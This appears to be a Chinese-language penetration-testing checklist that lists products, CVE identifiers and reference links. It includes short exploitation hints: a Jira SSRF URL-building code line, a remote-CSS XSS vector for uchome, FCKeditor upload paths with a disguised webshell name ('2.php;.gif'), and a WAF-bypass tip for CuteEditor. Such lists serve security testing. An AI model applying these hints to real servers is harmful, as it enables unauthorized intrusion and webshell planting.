子域名接管
https://github.com/m4ll0k/takeover
phpwind
https://www.vulnerability-lab.com/get_content.php?id=2184
https://github.com/Veeeooo/phpwind
未授权
NFS 未授权
Jupyter notebook 未授权
druid
druid
CVE-2020-1958 https://ggolawski.github.io/2020/08/06/cve-2020-1958-ldap-injection-druid.html
git proxy配置
https://www.jianshu.com/p/adf7cca269ac
jira
ssrf CVE-2019-8451
url = url + '/plugins/servlet/gadgets/makeRequest?url=' + host + '@www.baidu.com/'
Jira未授权服务端模板注入远程代码执行漏洞（CVE-2019-11581）
Ueditor
任意文件上传
uchome
uchome 2.0 存在持久XSS漏洞 发布时间：2010-09-03 在uchome 简体utf-8 2.0测试IE6,IE7,IE8通过. @import url(http://xxx.com/1.css); 包含远程css文件，可以在1.css中写入XSS利用. 分析代码 cp_theme.php 92行(17行调用)
Edge
Microsoft Edge 远程代码执行漏洞（CVE-2017-8619）
大华摄像头
未授权访问漏洞 受影响： DH-IPC-HDW23A0RN-ZS DH-IPC-HDBW23A0RN-ZS DH-IPC-HDBW13A0SN DH-IPC-HDW13A0SN DH-IPC-HFW13A0SN-W DH-IPC-HDBW13A0SN DH-IPC-HDW13A0SN DH-IPC-HFW13A0SN-W DHI-HCVR51A04HE-S3 DHI-HCVR51A08HE-S3 DHI-HCVR58A32S-S2
Exim邮件服务器
Exim deliver_message命令注入漏洞（CVE-2019-10149）
DeleGate
DeleGate DNS消息解压远程拒绝服务漏洞 CVE-2005-0036
ImageMagick
RCE CVE-2016-3714
https://www.cnblogs.com/junsec/p/11166015.html
axis2
弱口令
任意文件读取
Awstats
路径泄露 http://www.xx.com.cn/cgi-bin/awstats.pl?config=xxx
ccs
注入
ISC BIND
TSIG缓冲区溢出漏洞
拒绝服务漏洞(CVE-2014-8500)
拒绝服务漏洞(cnvd-2018-17514)
ISC BIND安全限制绕过漏洞(CVE-2017-3143)
HFS
RCE
PHP
PHP7 zip组件整型溢出漏洞(CVE-2016-3078) - > 可RCE - 影响范围是PHP 7.0.6版本以前的所有PHP 7.x 版本
phpmoadmin
RCE
node.js
node.js v8 debugger RCE
Elasticsearch
RCE
未授权访问
任意文件读取
OpenSSLDrown
OpenSSL 1.0.1 through 1.0.1g OpenSSL 1.0.0 through 1.0.0l all versions before OpenSSL 0.9.8y DROWN攻击漏洞（CVE-2016-0800）
Openssh
libssh认证绕过（cve-2018-10933） ibssh 0.8.x - 0.8.3 libssh 0.7.x - 0.7.5 libssh 0.6.x"
Netgear
Netgear DGN1000B setup.cgi 远程命令注入漏洞
Bash
破壳漏洞（CVE-2014-6271） 影响： 影响目前主流的Linux和Mac OSX操作系统平台，包括但不限于Redhat、CentOS、Ubuntu、Debian、Fedora、Amazon Linux、OS X 10.10等平台
Kubernetes
Kubernetes Kubernetes提权(CVE-2018-1002105) Kubernetes v1.0.x-1.9.x Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11) Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5) Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3)
zabbix
latest sql注入漏洞
jsrpc sql注入漏洞
activemq
后台弱口令
RCE
任意文件上传
ActiveMQ物理路径泄漏
Fckeditor
https://www.jianshu.com/p/b0295978da77/fckeditor/editor/dialog/fck_about.html /FCKeditor/_whatsnew.html
http://x.com/goldpen/editor/filemanager/browser/default/ #泄露源码文件
上传漏洞
http://www.xx.gov.cn/FCkeditor/editor/filemanager/upload/test1.html
访问进去直接上传图片格式木马。
http://www.xx.gov.cn/UploadFile/2.php;.gif
KingdEditor
XSS
上传漏洞
CuteEDitor
上传漏洞
编辑器Aspx版本 网上公布的CuteEditor漏洞，配合利用IIS 6.0解析漏洞获取Webshell WAF防火墙免疫IIS6.0解析漏洞 -> 修改图片后缀绕过
Apache
Apache ActiveMQ 5.x ~ 5.14.0 ActiveMQ任意文件文件移动漏洞 Apache ActiveMQ 5.13.0的版本之前的存在反序列化漏洞 ActiveMQ反序列化漏洞(CVE-2015-5254) Apache ActiveMQ5.14.0 – 5.15.2 ActiveMQ 信息泄漏漏洞(CVE-2017-15709)
apache mod_jk apache mod_jk访问控制绕过漏洞（cve-2018-11759）
61616端口(ActiveMQ消息队列端口)
hudson
代码泄露
grafana
弱口令
Openssh
1 CVE-2015-5600 2 CVE-2016-6515 3 CVE-2014-1692 4 CVE-2010-4478 5 CVE-2016-10009 6 CVE-2016-1908 7 CVE-2015-8325 8 CVE-2016-10012 9 CVE-2016-10010(提权）